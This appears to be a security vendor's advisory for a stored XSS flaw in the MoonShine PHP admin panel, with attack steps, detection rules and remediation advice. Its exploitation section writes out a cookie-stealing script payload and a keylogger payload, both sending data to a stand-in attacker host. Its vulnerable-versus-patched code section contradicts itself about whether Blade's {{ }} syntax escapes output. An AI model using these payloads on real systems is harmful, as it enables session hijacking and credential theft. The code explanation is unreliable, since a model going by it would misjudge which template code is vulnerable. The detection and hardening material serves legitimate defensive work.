CVE-2025-51488
Executive Summary
CVE-2025-51488 is a Stored Cross-Site Scripting (XSS) vulnerability in the MoonShine admin panel framework, affecting versions prior to 3.12.4. An authenticated attacker with administrative privileges can inject arbitrary JavaScript into the Name parameter when creating a new admin user. This payload is stored on the server and executed in the browsers of other administrators who view the affected page, leading to session hijacking, credential theft, or further compromise of the admin panel.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MoonShine is a PHP package distributed via Composer (Packagist). The vulnerability exists in the core admin panel code, not in a third-party dependency. Organizations using MoonShine should verify their composer.json for the affected version range and update immediately. No malicious packages have been reported in the supply chain for this CVE.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – The attacker must have admin-level access to the MoonShine panel.
- User Interaction (UI): Required (R) – The victim must view the malicious admin user page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the original scope (e.g., stealing cookies from another admin session).
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
CVSS Score: 4.8 (Medium)
Threat Level: Medium. Exploitation requires admin credentials, but the stored XSS can lead to privilege escalation or lateral movement within the admin panel.
Deep Dive & Mechanics
The vulnerability resides in the user creation functionality of MoonShine. When an admin creates a new user, the Name field is not properly sanitized or encoded before being stored in the database and later rendered in the admin interface (e.g., user list or profile page).
Attack Flow:
- An authenticated attacker with admin privileges navigates to the "Create Admin" page.
- The attacker enters a malicious payload in the
Namefield, such as:<img src=x onerror=alert('XSS')> - The payload is stored in the database without sanitization.
- When another admin views the user list or the attacker's profile, the payload executes in their browser.
- The attacker can then steal session cookies, perform actions on behalf of the victim, or inject further malicious content.
Root Cause: Lack of output encoding when rendering the Name field in the admin panel views. The framework likely uses raw HTML rendering without applying htmlspecialchars() or equivalent escaping.
Vulnerable vs. Patched Code
Vulnerable Code (MoonShine < 3.12.4):
// In a view file (e.g., user-list.blade.php)
{{ $user->name }}
This Blade directive outputs the name without escaping, allowing HTML/JavaScript injection.
Patched Code (MoonShine >= 3.12.4):
{{ e($user->name) }}
Or using the {{ }} syntax with automatic escaping enabled (Laravel default). The patch ensures that all user-supplied data is HTML-escaped before rendering.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Admin credentials to the MoonShine panel.
- Network access to the admin interface.
Exploit Steps:
- Log in as an admin.
- Navigate to the "Create Admin" page.
- In the
Namefield, inject a payload:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Wait for another admin to view the user list or the attacker's profile.
- The victim's browser sends their session cookie to the attacker's server.
Alternative Payload (Keylogger):
<input onfocus="document.addEventListener('keydown',function(e){fetch('https://attacker.com/k?k='+e.key)})" autofocus>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual
Namefield values in admin creation logs. - Look for outbound connections to unknown domains from admin browsers.
- Use the YARA and Sigma rules below to detect payloads in logs.
Hardening:
- Apply the patch by upgrading to MoonShine 3.12.4.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Restrict admin access to trusted IPs and enforce MFA.
- Regularly audit admin user creation logs.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from admin browsers.
- Suspicious
Refererheaders pointing to MoonShine admin pages.
- File IOCs:
- Log entries containing
<script>or<img onerror=in theNamefield.
- Log entries containing
- System IOCs:
- Unexpected admin users with names containing HTML/JavaScript.
- Modified session cookies or unusual session activity.
Detection Engineering
YARA Rule
rule CVE_2025_51488_MoonShine_XSS {
meta:
description = "Detects stored XSS payloads in MoonShine admin Name field"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-51488"
strings:
$xss_payload_1 = /<script[^>]*>.*<\/script>/i
$xss_payload_2 = /<img[^>]+onerror\s*=/i
$xss_payload_3 = /<svg[^>]+onload\s*=/i
$xss_payload_4 = /javascript\s*:/i
condition:
any of ($xss_payload_*)
}
Sigma Rule
title: MoonShine Stored XSS in Admin Name Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in MoonShine admin creation logs
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: moonshine
detection:
selection:
event: "admin_created"
name|contains:
- "<script"
- "<img"
- "<svg"
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of HTML in names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-51488 MoonShine Stored XSS - Outbound Cookie Exfiltration";
flow:to_server,established;
content:"/steal?cookie="; http_uri;
classtype:attempted-user;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade MoonShine to version 3.12.4 or later.
- If upgrade is not possible, manually apply output escaping in all views that render user-supplied data:
{{ htmlspecialchars($user->name, ENT_QUOTES, 'UTF-8') }} - Review and sanitize existing admin user names for malicious content.
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS detection rules.
- Enforce strict Content Security Policy (CSP) headers:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Conduct regular security audits and penetration testing.
- Train administrators on secure coding practices and the risks of stored XSS.
Valters IT – Securing your digital frontier.